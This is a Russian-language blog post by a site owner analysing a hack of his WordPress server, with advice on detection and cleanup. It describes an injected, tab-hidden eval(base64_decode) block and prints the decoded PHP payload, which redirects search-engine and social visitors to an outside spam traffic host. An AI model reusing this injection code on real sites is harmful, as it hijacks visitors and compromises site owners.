Взлом сайта или «Хочу быть стройной»…
posted in security, SEO |Сегодня ночью снова пронырливые хакеры ломанули мой сервак 🙁
(На самом деле это очередной втык мне за халатность в безопасности — вроде и знаю какие меры уже давно пора предпринять — НО постоянно, то времени нет, то забываю …)
Сегодня уже думал написать жизненный пост о том, что постить в блог некогда, в связи с приобретением дачного участка, да и тем особых нет — как НА ТЕБЕ — ДЕРЖИ темку для поста 🙂
ИТАК, захожу в админку WP писать пост — а там охрененная куча изменённых файлов — я так понял все php файлы движка WordPress. Кстати, в связи с происшедшим, рекомендую подобные хэш-сравнивалки, устанавливать на все сайты.
Захожу — смотрю глазами — а там в начале блока php сразу за тегом открытия за кучей табуляций (благо их было не так много, чтоб не заметить код)
eval(base64_decode(«…набор символов…»));
причём сволочи зачем то в одном файле по 20-30 раз впаяли … (по вхождению тега начала php кода)
Это значит, что МЕНЯ ПОЛОМАЛИ и внедрили в код чужеродное вкропление — инъекцию зловредного PHP кода!
меняю eval на file_put_contents дабы понять суть php инъекции и вижу следующее
1 2 3 4 5 6 7 8 9 10 11 |
error_reporting(0); $qazplm=headers_sent(); $referer=$_SERVER['HTTP_REFERER']; if (!$qazplm){ $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (!stristr($uag,"MSIE 7.0")){ if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://9maiak.sellClassics.com/"); exit(); }}}}} |
Поясню суть инъекции — любой поисковый (и не совсем поисковый) трафик этим скриптом перенаправляется на 9maiak.sellClassics.com где какая то система управления трафиком, уже в зависимости от реферера, либо конкретного ключевика, либо …. любого другого фактора перекидывает на какой-то другой, чужой сайт. Например, меня кидало на сайтик «Хочу быть стройной» URL testrrru-online.ru/freshdiet/. По коммерческим ключевикам может быть кинуло куда-нить в другое место…
Для правки взад всех инъекций срочно был написан скрипт, так что кому надо — стучите, объясню как пользоваться.
Далее немного анализа:
С инъекцией прошлись вообще по всем php файлам доступным под запись пользователю под которым работает apache, что говорит о характере взлома — 90% влом был осуществлён через http протокол через какую нибудь уязвимость движка, к сожалению пока не знаю как вычислить «откуда ветер дует».
Время модификации было изменено на 15 декабря 2011 года — заметали следы негодяи! (везде одно и тоже — поэтому можно найти зараженные файлы по этому параметру).
Для защиты от выполнения именно таких инъекций можно запретить eval параметром suhosin патча, но это отдельная песня — в идеале всё же нужно вообще не допускать никаких инъекций.